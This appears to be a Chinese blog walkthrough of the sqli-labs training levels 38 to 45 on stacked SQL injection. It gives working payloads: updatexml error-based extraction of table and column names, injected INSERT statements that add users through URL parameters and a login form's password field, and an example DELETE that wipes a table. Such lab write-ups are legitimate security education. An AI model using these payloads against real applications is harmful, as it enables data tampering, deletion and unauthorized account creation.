首页 > 技术文章 > sqli-labs(38-45)堆叠注入

Linkas 2021-08-04 11:21 原文

38 堆叠注入介绍

堆叠注入简介

在SQL数据库中,多查询语句;分开,堆叠查询就是利用这个特点,在第二个SQL语句中构造自己要执行的语句

union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?
区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

可以利用堆叠注入进行增删改查等操作

堆叠注入的局限性

在我们的web系统中,因为代码通常只返回一个查询结果,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。
因此,在读取数据时,我们建议使用union(联合)注入。
在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

在PHP中,mysqli_multi_query(connection,query)函数可以多语句查询SQL

  • connection必需,规定使用的MYSQL连接
  • query必需,规定一个或多个查询,用分号进行分隔

oracle不能使用堆叠注入

初次尝试

可以用Union注入

这次采用堆叠注入(Stacked Injection)

?id=1 and 1=1显示结果

?id=1 and 1=2显示结果

?id=1'报错

?id=1' and 1=1--+显示结果

?id=1' and 1=2--+不显示结果,字符型

获取数据库名?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

image-20210804092717363

获取表名

?id=1' and updatexml(1,concat(0x7e,(select(group_concat(table_name)) from information_schema.tables where table_schema='security' ),0x7e),1)--+

image-20210804092926274

获取users表的字段名

?id=1' and updatexml(1,concat(0x7e,(select(group_concat(column_name)) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

image-20210804093025521

获得字段名后就可以用户插入信息了

执行?id=1' ;insert into users values('99','alucard','123456')--+,插入用户

?id=99插入成功

image-20210804093218700

image-20210804092507563

39 数字型

?id=1 and 1=1显示

?id=1 and 1=2不显示,数字型

操作和38同

插入新用户?id=1 ;insert into users values('98','alucard','123456')--+

40 单引号-()

初步分析

?id=1 and 1=1显示

?id=1 and 1=2显示 ,不是数字型

?id=1'不显示 字符型

?id=1' and 1=1--+不显示

?id=1' and 1=2--+不显示 可能有()

判断小括号有几种方法:

  1. 2'&&'1'='1
  • 若查询语句为where id='$id',查询时是where id='2'&&'1'='1',结果是where id='2',回显会是id=2
  • 若查询语句为where id=('$id'),查询时是where id=('2'&&'1'='1'),MySQL 将'2'作为了 Bool 值,结果是where id=('1'),回显会是id=1
  1. 1')||'1'=('1
    若查询语句有小括号正确回显,若无小括号错误回显(无回显)。

测试括号

?id=2' and '1'='1显示1的查询结果,有()

image-20210804094151050

用order by判断可用字段为3,接下来可以用UNION查询获得表名,字段名,略过

插入数据?id=1') ;insert into users values('97','link','123456')--+

image-20210804094529234

41 数字型

?id=1 and 1=1显示

?id=1 and 1=2不显示,数字型

用order by判断可用字段为3,接下来可以用UNION查询获得表名,字段名,略过

插入数据?id=1') ;insert into users values('90','li12312','123456')--+

image-20210804094945082

42 登陆界面堆叠注入

初次尝试

image-20210804111110243

抓包,修改user值看看

image-20210804111348749

尝试登录,失败

image-20210804111429247

修改password值

image-20210804111520081

登录成功

image-20210804111623203

源码分析

image-20210804111902367

没有对输入的password进行转义,导致绕过

image-20210804112204905
单引号型

43 (' ')

黑盒测试

在password处插入数据1');insert into users values('88','link','123')--+

它报错了,由此得知password被('')包裹

image-20210805181126364

测试插入成功没,尝试登录,登录成功

image-20210805181426795

数据库也插入成功

image-20210805181524645

源码分析

image-20210805182347635

没对password使用mysqli_real_escape_string()函数

复习一下mysqli_real_escape_string()

定义和用法

mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。

语法

mysqli_real_escape_string(connection,escapestring);
  • connection:必需;规定要使用的 MySQL 连接。

  • escapestring: 必需 ;要转义的字符串。

  • 编码的字符是 NULL,(ASCII 0),\n\r,\,' 和" 以及 Control-Z。

  • 返回值:返回已转义的字符串。

44盲注

黑盒测试

在login_user处插入数据,查看数据库发现没有插入成功

image-20210805181908420

在login_password处插入数据

image-20210805182037341

查看数据库,插入成功

image-20210805182115492

源码分析

image-20210805183846715

和43一样,只是不会报错了

45 盲注

几次尝试之后,插入成功了

image-20210805184627101

image-20210805184716239

感觉盲注还挺难的

推荐阅读